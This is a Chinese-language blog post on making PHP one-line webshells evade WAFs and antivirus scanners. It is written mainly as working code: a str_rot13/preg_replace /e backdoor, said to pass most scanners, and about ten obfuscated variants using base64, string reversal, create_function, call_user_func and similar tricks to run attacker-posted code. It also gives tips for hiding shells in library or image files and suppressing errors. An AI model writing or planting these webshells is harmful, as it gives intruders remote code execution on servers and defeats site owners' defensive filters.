小马的免杀

一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。(仅供分享经验,不可用作非法用途)
图片来源

小马的免杀

一.先看一只有趣的小马

<?php ($b4dboy = $_POST['b4dboy']) &&@preg_replace('/ad/e','@'.str_rot13('riny')."($b4dboy)", 'add'); ?>

沙箱检测它是安全文件
小马的免杀
用D盾查杀只是发现可以的str_rot13函数且级别只是1
小马的免杀
在线检测了,免杀还是很不错的,用各种查杀软件 只有安全狗能查杀出来

小马的介绍

能过这么多杀软主要是因为利用了str_rot13函数,str_rot13(‘riny’)输出为eval,还有一个利用了preg_replace 函数,该函数结构如下

preg_replace ( mixed pattern, mixed replacement,mixed subject[, int limit])

/e修正符使preg_replace()将replacement参数当作PHP代码来执行,要保证replacement构成一个合法的PHP代码字符串,该正则在被正确的匹配到后,传入的string被当做函数来运行。
测试发现该后门可用于php版本5.3、5.4;
PHP 5.5.0起,传入"\e”修饰符的时候,会产生一个E_DEPRECATED 错误;PHP 7.0.0 起,会有E_WARNING错误,同时"\e”也无法起效。

二.马的变形

可以把webshell放在函数库文件中或者图片马中
图片马的制作:点这里

php变量

<?php 
$a = "assert";
$a(@$_POST['shell']); 
?>

第三行使用了变量函数$a,变量储存了函数名assert,便可以直接用变量替代函数名。

php变量简单变形1

<?php  
$a="TR"."Es"."sA";  
$b=strtolower($a);  
$c=strrev($b);  
@$c($_POST['shell']);  
?>

使用字符串拼接、大小写混淆、字符串逆序组合而成
strtolower() 函数把字符串转换为小写。
strrev() 函数反转字符串。

自定义函数

<?php  
function fun($a){  
    @eval($a);  
}  
@fun($_POST['shell']);  
?>

使用function自定义函数,然后函数来调用eval函数

create_function函数

<?php 
$fun = create_function('',$_POST['shell']);
$fun();
?>

创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数

call_user_func()函数

<?php
@call_user_func(assert,$_POST['shell']);
?>

call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

base64_decode 函数

<?php   
$a=base64_decode("YXNzZXJ0");  
@a($_POST['shell']);  
?>

YXNzZXJ0是assert的base64编码,base64_decode()是base64解密函数

preg_replace函数

<?php   
    function fun(){  
        return $_POST['shell'];  
    }  
    @preg_replace("/test/e", fun(), "test123");  
?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。

pares_str函数

<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。

str_replace函数

<?php 
$a = str_replace("test", "", "astestsert");
$a($_POST['shell']);
?>

此函数用于将第三个参数中的第一个参数替换为第二个参数

以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。

上一篇:MySQL索引从基础到原理,看这一篇就够了


下一篇:Php中正则小结(一)